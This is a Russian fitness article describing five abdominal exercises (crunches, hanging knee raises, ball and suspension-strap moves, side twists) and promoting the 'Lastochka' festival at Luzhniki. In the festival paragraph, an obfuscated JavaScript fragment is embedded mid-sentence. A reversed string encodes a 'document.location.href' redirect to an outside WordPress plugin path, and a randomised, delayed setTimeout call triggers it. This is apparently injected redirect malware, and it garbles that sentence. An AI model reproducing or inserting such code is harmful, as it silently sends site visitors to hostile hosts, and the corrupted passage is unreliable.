Если вы стремитесь к идеальному прессу, то без этих упражнений никак не обойтись — все они отлично прорабатывают мышцы живота. А если у вас остались ещё какие-то вопросы о том, как накачать классный пресс, вы сможете их задать тренерам в фитнес-зоне на фестивале «Ласточка» — он состоится уже в эту субботу!
Скручивание с подкручиванием таза
Фото: Кристина Подрезова
- Ложитесь на пол на спину, согните колени, ступни на полу. Сложите руки перед собой. Напрягите мышцы живота.
- «Скрутитесь» вперёд так, чтобы от пола отрывались только лопатки. В этот момент напрягите ягодицы и немного оторвите их от пола — таким образом подкрутите таз.
- Выполняйте упражнение в медленном темпе. Не напрягайте мышцы спины, шеи или рук.
- Сделайте 3—5 подходов по 15—25 повторений в этом и последующих упражнениях.
Подъём согнутых ног на турнике
Фото: Кристина Подрезова
- Обхватите турник прямым хватом. Напрягите мышцы живота. Корпус ровный.
- Подтягивайте колени вверх так, чтобы в конечной точке колени оказались примерно на уровни груди.
Скручивания с мячом и выпрямлением ног
Фото: Кристина Подрезова
- Ложитесь на спину, поясница прижата к полу. Возьмите в руки мяч и отведите их назад. Ноги согните и поднимите — голени параллельны полу.
- Напрягите мышцы живота. Переложите мяч на ноги. Опуститесь — корпус полностью на земле.
- Поднимите корпус и заберите мяч обратно. Опускайте корпус и одновременно выпрямляйте ноги, но не опускайте их.
Упражнение с петлями
Фото: Кристина Подрезова
- Зафиксируйте петли. Примите упор лёжа на прямых руках, но при этом ноги находятся в петлях. Напрягите мышцы живота.
- Тяните колени к корпусу. В конечной точке колени находятся на уровне груди.
- Вернитесь в исходное положение и повторите упражнение.
Боковые скручивания с мячом
Фото: Кристина Подрезова
- Сядьте на пол, немного согните колени и оторвите их от пола. Возьмите в руки мяч. Слегка отклонитесь назад. Мышцы живота напряжены.
- Поверните туловище влево, а затем вправо. Вы должны почувствовать, как напрягаются даже косые мышцы живота.
- Сделайте по 15—20 поворотов в каждую сторону (всего 30—40).
Второй городской фестиваль актуальной музыки и активного образа жизни «Ласточка» пройдёт 22 июля на территории спорткомплекса «Лужники». Хедлайнеры фестиваля — британская певица Ellie Goulding, группа Years & Years и Иван Дорн с презентацией нового альбома OTD. Дополнительная информация, программа и билеты — на официальном сайте lastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tochkafest.ru.
Огромное спасибо за помощь в проведении съёмки тренеру Антону Карпову из фитнес-студии «Берег».
Статьи по теме
Рельефные руки, крепкая спина и сильный пресс: 4 упражнения для дома и зала
Какое упражнение на пресс самое эффективное
4 упражнения на пресс, которые вы ещё никогда не делали
Как правильно качать пресс